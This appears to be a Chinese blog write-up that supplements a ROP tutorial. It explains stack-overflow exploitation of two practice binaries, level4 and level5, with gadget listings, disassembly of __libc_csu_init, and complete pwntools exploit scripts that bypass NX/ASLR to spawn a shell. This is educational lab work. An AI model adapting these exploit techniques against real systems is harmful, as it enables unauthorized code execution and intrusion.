原文地址https://segmentfault.com/a/1190000007406442,源代码地址https://github.com/zhengmin1989/ROP_STEP_BY_STEP(冒昧的贴一下,
本文有一些作为一只菜鸡的思考,原文蒸米大大可能站的角度比较高,有的地方没有写清楚,这里权当补充一下
首先是level4,源代码如下
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p
",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World
", 13);
vulnerable_function();
}
gcc -fno-stack-protector level4.c -o level4 -ldl
编译(github里提供的level4程序关闭了pie,我们这么编译打开PIE加大下难度:P
# checksec level4
[*] '/root/rop/rop/level4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
可以看到程序打开了NX和PIE,由于程序输出了system的地址,所以可以用system地址作为相对偏移,最后加上system地址绕过ASLR。
vulnerable_function存在栈溢出,所以可以构造payload=padding128+EBP+pop_rdi_ret+binsh+system_addr
构造这个payload可以成功的原因是padding128覆盖buf;调用函数时call func会push eip,这里的eip是返回地址,进入func时会push rbp,mov rbp,rsp开辟栈帧,所以需要在栈帧加入EBP;pop_rdi_ret即返回地址eip,调用函数返回时ret会pop eip,这里我们找一个pop rdi,ret的gadget就会执行之;调用函数返回执行ret时rsp指向pop_rdi_ret的地址,pop rip后rsp指向binsh,执行gadget的pop rdi会把binsh弹出rdi作为system调用的第一个参数,然后执行gadget的ret时rsp指向system_addr,就会执行system调用了
另:64位程序函数调用参数依次保存在RDI,RSI,RDX,RCX,R8和 R9
在源程序查找/bin/sh没有找到,只能在ibc里寻找
查找pop_rdi_ret(原作者用的程序可能是github那个版本的,我这里由于重新编译了竟然找到了gadget,当然源程序找不到gadget只能从libc里找了:P
p# ROPgadget --binary level4 --only "pop|ret"
Gadgets information
============================================================
0x000000000000093c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000940 : pop r14 ; pop r15 ; ret
0x0000000000000942 : pop r15 ; ret
0x000000000000093b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000093f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000770 : pop rbp ; ret
0x0000000000000943 : pop rdi ; ret
0x0000000000000941 : pop rsi ; pop r15 ; ret
0x000000000000093d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000686 : ret
Unique gadgets found: 11
构造exp程序如下
from pwn import * context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') p=process('./level4') binsh_offset=next(libc.search('/bin/sh'))-libc.symbols['system'] pop_rdi_ret_offset=0x1feea-libc.symbols['system'] system_str=p.recvuntil(' ') system_addr=int(system_str,16) binsh=binsh_offset+system_addr pop_rdi_ret=pop_rdi_ret_offset+system_addr payload='A'*128+'BBBBBBBB'+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr) p.sendline(payload) p.interactive()
然后是一个比较有难度的level5
程序源代码如下
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World
", 13);
vulnerable_function();
}
编译时关闭了PIE保护
可以看到这个程序只有一个栈溢出,又因为开启了NX保护,所以利用的思路就是system("/bin/sh")的函数地址和/bin/sh写入一个可写可执行段(.BSS);又因为程序调用了write和read,所以可以通过write输出write.got的地址,计算system和write的相对偏移从而计算libc system的地址
objdump -d level5查看level5的汇编,有一个通用构造gadgets的函数
<__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
400629: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
这个函数里先执行400606再执行4005f0有以下赋值过程
RDI,RSI,RDX
[RSP+0X8]->RBX
[RSP+0X10]->RBP
[RSP+0X18]->R12
[RSP+0X20]->R13;R13D->EDI
[RSP+0X28]->R14->RSI
[RSP+0X30]->R15->RDX
CALL [R12+RBX*8]
我们先构造一个payload输出write在got表中的地址
write(rdi=1, rsi=write.got, rdx=8)
ssize_t write(int fd, void *buf, size_t count);
init_addr=0x400606
func_addr=0x4005f0
payload1=padding128+ebp+init_addr+p64(0)+p64(0)+p64(1)+write.got+p64(1)+write.got+p64(8)+p64(func_addr)+padding56+p64(main)
这个payload可以成功的原因:padding128+ebp覆盖buf空间,在vulnerable_function执行结束ret时执行init_addr,即0X400606开始的赋值指令,此时RSP指向p64(0)的位置,各寄存器依次如下赋值。
显然执行到0X400624时,并没有执行过压栈出栈指令,RSP依然指向p64(0)的位置,此时执行0X400624,esp+=0x38,上图栈中数据正好8*7=0X38个,所以执行完0X400624后esp正好指向P64(func)的位置。此时执行0x400628ret则执行func,执行到0x4005f9 call(r12+rbx*8)即call write,(在Linux中,值为0、1、2的fd分别代表标准输入、标准输出和标准错误输出,在程序中打开文件得到的fd从3开始增长)
所以这时执行write(1,write.got,8)则会把8字节write.got地址输出到标准输出,这时p.recv(8)即可得到write.got的地址
此时我们得到write.got地址即可通过
system_offset=libc.symbols['write']-libc.symbols['system']
write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset
得到system在libc中的地址。
payload最后+padding56+p64(main)的意思是执行完write后由于rbp=rbx,会依次执行到0x400624,由于我们需要继续利用栈溢出,所以需要返回main函数,所以需要填充一个56大小的padding,然后ret返回main函数
接下来就是要把system和/bin/sh的地址写入.bss,然后再执行system("/bin/sh")即可。payload构造过程与payload1类似,EXP如下
from pwn import *
context(os='linux',arch='amd64')
elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./level5')
init_addr=0x400606
func_addr=0x4005f0
got_write=elf.got['write']
got_read=elf.got['read']
main=0x400564
bss_addr=0x601028
system_offset=libc.symbols['write']-libc.symbols['system']
#write(rdi=1, rsi=write.got, rdx=8)
payload1='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_write)+p64(1)+p64(got_write)+p64(8)
payload1+=p64(func_addr)+'x00'*56+p64(main)
p.recvuntil("Hello, World
")
p.send(payload1)
sleep(3)
print "send payload1
"
write_addr=u64(p.recv(8))
system_addr=write_addr-system_offset
p.recvuntil("Hello, World
")
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(got_read)+p64(0)+p64(bss_addr)+p64(16)
payload2+=p64(func_addr)+'x00'*56+p64(main)
p.send(payload2)
sleep(3)
print "send payload2
"
p.send(p64(system_addr))
p.send("/bin/sh ")
sleep(3)
print "please wait
"
p.recvuntil("Hello, World
")
#system(rdi = bss_addr+8 = "/bin/sh")
payload3='x00'*128+'BBBBBBBB'+p64(init_addr)+p64(0)+p64(0)+p64(1)+p64(bss_addr)+p64(bss_addr+8)+p64(0)+p64(0)
payload3+=p64(func_addr)+'x00'*56+p64(main)
sleep(3)
p.send(payload3)
print "send payload3
"
p.interactive()
关于几个利用的细节问题:
1.要先执行elf=ELF('level5')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')再执行process('./level5'),最后才能得到一个稳定的shell
2.每一次send(payload)要sleep一下,不sleep 也会不稳定
3.payload中用A之类的替换x00会导致Got EOF while sending in interactive的问题
本文作者很菜,这几个细节问题并不知道是什么原因。如果凑巧有大佬看到这篇文章,望不吝赐教
答:
2.如果不调用sleep可能会出现多个payload一起send的情况,坑(